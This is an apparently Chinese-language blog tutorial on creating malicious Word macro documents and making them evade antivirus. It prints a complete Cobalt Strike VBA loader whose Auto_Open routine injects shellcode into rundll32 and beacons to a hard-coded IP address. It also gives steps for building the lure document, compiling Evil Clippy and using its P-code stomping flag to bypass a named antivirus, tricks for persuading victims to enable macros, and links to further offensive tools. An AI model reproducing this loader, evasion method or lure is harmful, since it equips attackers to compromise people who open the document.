目录
- 简单的恶意文档
- cs生成的宏分析
- 免杀思路
- 加密混淆
- 诱导点击
- 项目推荐
- 总结
简单的恶意文档
一般使用流程:第一步,生成payload
第二步,新建word,打开选项-自定义功能区-勾选开发工具
第三步,然后输入诱惑性内容,点击VB,把cs生成的vba代码放进去即可。
第四步,保存为word97-2003文档,注意修改作者
随后如果点击了启用宏,就会上线
cs生成的宏分析
这里注意一下vba和vbs还是有区别的
代码中最主要的部分是
#If VBA7 Then Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long #Else Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long #End If
VBA 最强大的功能之一是可以从Windows API导入函数,上面这段主要导入了以下4个函数
CreateRemoteThread(线程创建)
VirtualAllocEx(内存分配)
WriteProcessMemory(写进程内存)
CreateProcessA(进程创建)
其次就是这个auto_open函数了
Sub Auto_Open() Dim myByte As Long, myArray As Variant, offset As Long Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim sProc As String #If VBA7 Then Dim rwxpage As LongPtr, res As LongPtr #Else Dim rwxpage As Long, res As Long #End If myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _ 13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _ -42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _ -117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _ -43,-24,0,0,0,0,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-92,0,0,0,91,49,-55,81,81,106,3,81,81,104,15,39,0,0,83, _ 80,104,87,-119,-97,-58,-1,-43,80,-23,-116,0,0,0,91,49,-46,82,104,0,50,-64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61, _ 80,104,-128,51,0,0,-119,-32,106,4,80,106,31,86,104,117,70,-98,-122,-1,-43,95,49,-1,87,87,106,-1,83,86,104,45,6,24,123,-1,-43,-123,-64,15, _ -124,-54,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1,-43,49,-1,87,106,7,81,86,80,104, _ -73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,117,7,88,80,-23,123,-1,-1,-1,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,111,-1,-1,-1,47, _ 66,121,111,50,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,84, _ 65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,80,37,0,85, _ 115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77,83,73,69, _ 32,57,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,87,79,87,54,52,59,32,84,114,105,100,101,110,116,47,53,46,48, _ 59,32,78,80,48,57,59,32,78,80,48,57,59,32,77,65,65,85,41,13,10,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80, _ 94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70, _ 73,76,69,33,36,72,43,72,42,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67, _ 65,82,45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79, _ 33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,84,65,78,68,65,82,68,45, _ 65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,104,0,0, _ 64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43,-123,-64,116, _ -58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-119,-3,-1,-1,56,49,46,54,56,46,50,50,49,46,50,50,0,0,0,0,0) If Len(Environ("ProgramW6432")) > 0 Then sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" Else sProc = Environ("windir") & "\\System32\\rundll32.exe" End If res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo) rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40) For offset = LBound(myArray) To UBound(myArray) myByte = myArray(offset) res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&) Next offset res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0) End Sub
这段内容就调用函数往内存里写shellcode了。
免杀思路
现在简单整理一下免杀的思路
- 远程调用启用宏模板
- 对vba脚本进行编码混淆
- vba写hta、vbs脚本、写注册表等手段来绕过
- 文档加密
加密混淆
上面的远程调用,vba执行powershell等方式网上文章还挺多的,是否失效还有待测试。这里对自己之前没试过的vba脚本加密混淆做了一些尝试。
拿着生成后的vba脚本静态查杀下,发现火绒静态查杀的时候是查杀这些关键函数和一些组合
在尝试了一些网上的加密工具后发现,工具不能对vba脚本中的函数导入进行混淆加密,因为大部分都是VB7环境,条件编译部分的判断可以删掉,修修改改发现老报错。
还是现成的工具实在,这里使用Evil Clippy这个工具。该工具提供了隐藏宏,混淆宏等绕过AV的检查技术。
这里我主要用了重置随机化模块名称的功能(Set/reset random module names (fool analyst tools))和滥用P-code(Stomp VBA abuse P-code)的方式
下载后在kali中安装mono。装完后使用mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
进行编译。
为啥不在windows下的visual studio 编译呢,因为编译会有问题,详见github issues。
最后发现使用工具-r会被杀掉,使用-s(滥用P-code)可以绕过。
诱导点击
有了文档后,还是需要诱导用户进行点击启用宏,这个尽量还是根据目标对象进行针对性诱导。
例如将文档正文部分隐藏,然后提前录制好宏,点击启用宏后自动执行然后显示内容,或者输出一些内容等。
或者在文档最上方插入图片,此文档受宏保护,需启用宏。
项目推荐
写文章在查找资料时发现了一些有意思的项目
vbs调PE执行命令 https://github.com/itm4n/VBA-RunPE
vbs加载powershell免杀 https://github.com/PDWR/3vilMacro
编译后的EvilClippy https://github.com/Cl0udG0d/EvilClippy
总结
宏免杀使用工具虽然方便,但局限性很大,我们可以学习工具的思路或者修改底层的VBA代码,结合不同的利用姿势,从而达到更强免杀效果。
前路漫长,大家一起努力!